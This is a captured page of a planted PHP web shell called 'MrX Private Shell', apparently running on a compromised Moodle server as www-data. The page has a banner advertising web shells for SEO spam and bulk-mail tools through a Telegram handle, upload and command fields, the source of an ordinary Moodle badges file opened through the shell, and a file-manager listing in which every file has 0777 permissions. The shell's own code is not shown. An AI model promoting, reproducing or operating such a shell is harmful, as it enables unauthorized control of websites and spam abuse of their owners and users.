__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * List of enabled backpacks for the site.
 *
 * @package    core_badges
 * @copyright  2019 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace core_badges\output;

defined('MOODLE_INTERNAL') || die();

require_once($CFG->libdir . '/tablelib.php');
require_once($CFG->libdir . '/badgeslib.php');

use html_writer;
use moodle_url;
use table_sql;

/**
 * Backpacks table class.
 *
 * @package    core_badges
 * @copyright  2019 Damyon Wiese
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class external_backpacks_table extends table_sql {

    /**
     * Sets up the table.
     */
    public function __construct() {
        parent::__construct('backpacks');

        $context = \context_system::instance();
        // This object should not be used without the right permissions.
        require_capability('moodle/badges:manageglobalsettings', $context);

        // Define columns in the table.
        $this->define_table_columns();

        // Define configs.
        $this->define_table_configs();
    }

    /**
     * Setup the headers for the table.
     */
    protected function define_table_columns() {
        $cols = [
            'backpackweburl' => get_string('backpackurl', 'core_badges'),
            'sortorder' => '',
        ];

        $this->define_columns(array_keys($cols));
        $this->define_headers(array_values($cols));
    }

    /**
     * Define table configs.
     */
    protected function define_table_configs() {
        $this->collapsible(false);
        $this->sortable(false);
        $this->pageable(false);
    }

}

Filemanager

Name Type Size Permission Actions
badge_alignments.php File 2.25 KB 0777
badge_collection.php File 2.02 KB 0777
badge_management.php File 1.4 KB 0777
badge_recipients.php File 2.05 KB 0777
badge_related.php File 2.21 KB 0777
badge_user_collection.php File 1.93 KB 0777
badgeclass.php File 6.59 KB 0777
base_action_bar.php File 3.33 KB 0777
external_backpacks_page.php File 2.53 KB 0777
external_backpacks_table.php File 2.28 KB 0777
external_badge.php File 7.32 KB 0777
issued_badge.php File 9.58 KB 0777
manage_badge_action_bar.php File 6.41 KB 0777
recipients_action_bar.php File 2.07 KB 0777
standard_action_bar.php File 3.5 KB 0777
Filemanager